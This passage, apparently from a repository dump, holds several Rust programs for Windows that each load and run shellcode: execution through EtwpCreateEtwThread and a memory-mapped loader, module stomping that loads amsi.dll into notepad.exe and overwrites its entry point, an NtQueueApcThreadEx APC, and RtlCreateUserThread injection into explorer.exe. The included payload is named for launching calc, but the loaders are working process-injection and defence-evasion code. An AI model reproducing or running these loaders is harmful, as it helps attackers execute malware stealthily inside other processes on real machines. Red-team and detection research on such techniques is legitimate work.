b"EtwpCreateEtwThread\0".as_ptr()); let etwp_create_etw_thread: extern "C" fn(*mut c_void, isize) -> HANDLE = transmute(fn_etwp_create_etw_thread); let addr = VirtualAlloc( null(), shellcode_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE, ); if addr.is_null() { panic!("[-]VirtualAlloc failed: {}!", GetLastError()); } copy(shellcode.as_ptr(), addr.cast(), shellcode_size); let mut old = PAGE_READWRITE; let res = VirtualProtect(addr, shellcode_size, PAGE_EXECUTE, &mut old); if res == FALSE { panic!("[-]VirtualProtect failed: {}!", GetLastError()); } let thread = etwp_create_etw_thread(addr, 0); if thread == 0 { panic!("[-]etwp_create_etw_thread failed: {}!", GetLastError()); } WaitForSingleObject(thread, WAIT_FAILED); } } ================================================ FILE: memmap2_transmute/Cargo.toml ================================================ [package] name = "memmap2_transmute" version = "0.1.0" edition = "2021" # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html [dependencies] memmap2 = "0.6.1" ================================================ FILE: memmap2_transmute/src/main.rs ================================================ use memmap2::MmapOptions; use std::mem::transmute; #[cfg(target_os = "windows")] fn main() { let shellcode = include_bytes!("../../w64-exec-calc-shellcode-func.bin"); let shellcode_size = shellcode.len(); let mut mmap = MmapOptions::new() .len(shellcode_size) .map_anon() .expect("[-]mmap failed!"); mmap.copy_from_slice(shellcode); let mmap = mmap.make_exec().expect("[-]make_exec failed!"); unsafe { let shell: unsafe extern "C" fn() = transmute(mmap.as_ptr()); shell(); } } ================================================ FILE: module_stomping/Cargo.toml ================================================ [package] name = "module_stomping" version = "0.1.0" edition = "2021" # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html [dependencies] sysinfo = "0.29.0" windows-sys = { version = "0.48.0", features = ["Win32_System_Threading", "Win32_Foundation", "Win32_System_ProcessStatus", "Win32_System_Diagnostics_Debug", "Win32_System_LibraryLoader", "Win32_Security", "Win32_System_SystemInformation", "Win32_System_Memory", "Win32_System_SystemServices"] } ================================================ FILE: module_stomping/src/main.rs ================================================ use std::ffi::{c_void, CStr}; use std::mem::{size_of, size_of_val, transmute, zeroed}; use std::ptr::{addr_of_mut, null, null_mut}; use sysinfo::{PidExt, ProcessExt, System, SystemExt}; use windows_sys::Win32::Foundation::{CloseHandle, GetLastError, FALSE, HMODULE, WAIT_FAILED}; use windows_sys::Win32::System::Diagnostics::Debug::{ ReadProcessMemory, WriteProcessMemory, IMAGE_NT_HEADERS64, }; use windows_sys::Win32::System::LibraryLoader::{GetModuleHandleA, GetProcAddress}; use windows_sys::Win32::System::Memory::{ GetProcessHeap, HeapAlloc, VirtualAllocEx, HEAP_ZERO_MEMORY, MEM_COMMIT, MEM_RESERVE, PAGE_READWRITE, }; use windows_sys::Win32::System::ProcessStatus::{EnumProcessModules, GetModuleBaseNameA}; use windows_sys::Win32::System::SystemServices::IMAGE_DOS_HEADER; use windows_sys::Win32::System::Threading::{ CreateRemoteThread, OpenProcess, WaitForSingleObject, PROCESS_ALL_ACCESS, }; #[cfg(target_os = "windows")] fn main() { let shellcode = include_bytes!("../../w64-exec-calc-shellcode-func.bin"); let shellcode_size = shellcode.len(); let dll = "C:\\windows\\system32\\amsi.dll\0"; let mut system = System::new(); system.refresh_processes(); let pid = system .processes_by_name("notepad.exe") .next() .expect("[-]no process!") .pid() .as_u32(); unsafe { let handle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid); if handle == 0 { panic!("[-]OpenProcess failed: {}!", GetLastError()); } let buffer = VirtualAllocEx( handle, null(), dll.len(), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE, ); if buffer.is_null() { panic!("[-]VirtualAllocEx failed: {}!", GetLastError()); } let res = WriteProcessMemory(handle, buffer, dll.as_ptr().cast(), dll.len(), null_mut()); if res == FALSE { panic!("[-]WriteProcessMemory failed: {}!", GetLastError()); } let thread_routine = GetProcAddress( GetModuleHandleA(b"Kernel32\0".as_ptr()), b"LoadLibraryA\0".as_ptr(), ); if thread_routine.is_none() { panic!("[-]GetProcAddress failed: {}!", GetLastError()); } let dll_thread = CreateRemoteThread( handle, null(), 0, transmute(thread_routine), buffer, 0, null_mut(), ); if dll_thread == 0 { panic!("[-]CreateRemoteThread failed: {}!", GetLastError()); } WaitForSingleObject(dll_thread, WAIT_FAILED); let mut modules: [HMODULE; 256] = zeroed(); let mut needed = 0; EnumProcessModules( handle, modules.as_mut_ptr(), u32::try_from(size_of_val(&modules)).unwrap(), addr_of_mut!(needed), ); let count = (needed as usize) / size_of::(); for module in modules.into_iter().take(count) { let mut name: [u8; 128] = zeroed(); GetModuleBaseNameA( handle, module, name.as_mut_ptr(), u32::try_from(size_of_val(&name)).unwrap(), ); let name = CStr::from_bytes_until_nul(name.as_slice()).unwrap(); if name.to_string_lossy() == "amsi.dll" { let addr = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 0x1000); ReadProcessMemory(handle, module as *const c_void, addr, 0x1000, null_mut()); let dos_header = addr as *mut IMAGE_DOS_HEADER; let nt_header = ((addr as usize) + ((*dos_header).e_lfanew as usize)) as *mut IMAGE_NT_HEADERS64; let entry_point = (((*nt_header).OptionalHeader.AddressOfEntryPoint as usize) + (module as usize)) as *mut c_void; WriteProcessMemory( handle, entry_point, shellcode.as_ptr().cast(), shellcode_size, null_mut(), ); CreateRemoteThread( handle, null(), 0, transmute(entry_point), null(), 0, null_mut(), ); }; } CloseHandle(handle); } } ================================================ FILE: nt_queue_apc_thread_ex_local/Cargo.toml ================================================ [package] name = "nt_queue_apc_thread_ex_local" version = "0.1.0" edition = "2021" # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html [dependencies] windows-sys = { version = "0.48.0", features = ["Win32_System_Memory", "Win32_Foundation", "Win32_System_Threading", "Win32_System_LibraryLoader"] } ================================================ FILE: nt_queue_apc_thread_ex_local/src/main.rs ================================================ use std::ffi::c_void; use std::mem::transmute; use std::ptr::{copy, null}; use windows_sys::Win32::Foundation::{GetLastError, FALSE, HANDLE}; use windows_sys::Win32::System::LibraryLoader::{GetProcAddress, LoadLibraryA}; use windows_sys::Win32::System::Memory::{ VirtualAlloc, VirtualProtect, MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE, PAGE_READWRITE, }; use windows_sys::Win32::System::Threading::GetCurrentThread; #[cfg(target_os = "windows")] fn main() { let shellcode = include_bytes!("../../w64-exec-calc-shellcode-func.bin"); let shellcode_size = shellcode.len(); unsafe { let ntdll = LoadLibraryA(b"ntdll.dll\0".as_ptr()); if ntdll == 0 { panic!("[-]LoadLibraryA failed: {}!", GetLastError()); } let fn_nt_queue_apc_thread_ex = GetProcAddress(ntdll, b"NtQueueApcThreadEx\0".as_ptr()); let nt_queue_apc_thread_ex: extern "C" fn(HANDLE, isize, *mut c_void, isize, isize, isize) = transmute(fn_nt_queue_apc_thread_ex); let addr = VirtualAlloc( null(), shellcode_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE, ); if addr.is_null() { panic!("[-]VirtualAlloc failed: {}!", GetLastError()); } copy(shellcode.as_ptr(), addr.cast(), shellcode_size); let mut old = PAGE_READWRITE; let res = VirtualProtect(addr, shellcode_size, PAGE_EXECUTE, &mut old); if res == FALSE { panic!("[-]VirtualProtect failed: {}!", GetLastError()); } let handle = GetCurrentThread(); if handle == 0 { panic!("[-]OpenProcess failed: {}!", GetLastError()); } nt_queue_apc_thread_ex(handle, 1, addr, 0, 0, 0); } } ================================================ FILE: rtl_create_user_thread/Cargo.toml ================================================ [package] name = "rtl_create_user_thread" version = "0.1.0" edition = "2021" # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html [dependencies] sysinfo = "0.29.0" windows-sys = { version = "0.48.0", features = ["Win32_System_Threading", "Win32_Foundation", "Win32_System_Memory", "Win32_System_Diagnostics_Debug", "Win32_System_LibraryLoader"] } ================================================ FILE: rtl_create_user_thread/src/main.rs ================================================ use std::ffi::c_void; use std::mem::transmute; use std::ptr::{null, null_mut}; use sysinfo::{PidExt, ProcessExt, System, SystemExt}; use windows_sys::Win32::Foundation::{CloseHandle, GetLastError, FALSE, HANDLE}; use windows_sys::Win32::System::Diagnostics::Debug::WriteProcessMemory; use windows_sys::Win32::System::LibraryLoader::{GetProcAddress, LoadLibraryA}; use windows_sys::Win32::System::Memory::{ VirtualAllocEx, VirtualProtectEx, MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE, PAGE_READWRITE, }; use windows_sys::Win32::System::Threading::{OpenProcess, PROCESS_ALL_ACCESS}; #[cfg(target_os = "windows")] fn main() { let shellcode = include_bytes!("../../w64-exec-calc-shellcode-func.bin"); let shellcode_size = shellcode.len(); let mut old = PAGE_READWRITE; let mut system = System::new(); system.refresh_processes(); let pid = system .processes_by_name("explorer.exe") .next() .expect("[-]no process!") .pid() .as_u32(); unsafe { let ntdll = LoadLibraryA(b"ntdll.dll\0".as_ptr()); if ntdll == 0 { panic!("[-]LoadLibraryA failed: {}!", GetLastError()); } let fn_rtl_create_user_thread = GetProcAddress(ntdll, b"RtlCreateUserThread\0".as_ptr()); let rtl_create_user_thread: extern "C" fn( HANDLE, isize, isize, isize, isize, isize, *mut c_void, isize, *mut HANDLE, isize, ) = transmute(fn_rtl_create_user_thread); let handle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid); if handle == 0 { panic!("[-]OpenProcess failed: {}!", GetLastError()); } let addr = VirtualAllocEx( handle, null(), shellcode_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE, ); if addr.is_null() { panic!("[-]VirtualAllocEx failed: {}!", GetLastError()); } let res = WriteProcessMemory( handle, addr, shellcode.as_ptr().cast(), shellcode_size, null_mut(), ); if res == FALSE { panic!("[-]WriteProcessMemory failed: {}!", GetLastError()); } let res = VirtualProtectEx(handle, addr, shellcode_size, PAGE_EXECUTE, &mut old); if res == FALSE { panic!("[-]VirtualProtectEx failed: {}!", GetLastError()); } let mut thraed: HANDLE = 0; rtl_create_user_thread(handle, 0, 0, 0, 0, 0, addr, 0, &mut thraed, 0); let res = CloseHandle(handle); if res == FALSE { panic!("[-]CloseHandle failed: {}!", GetLastError()); } } } ================================================ FILE: rustfmt.toml ================================================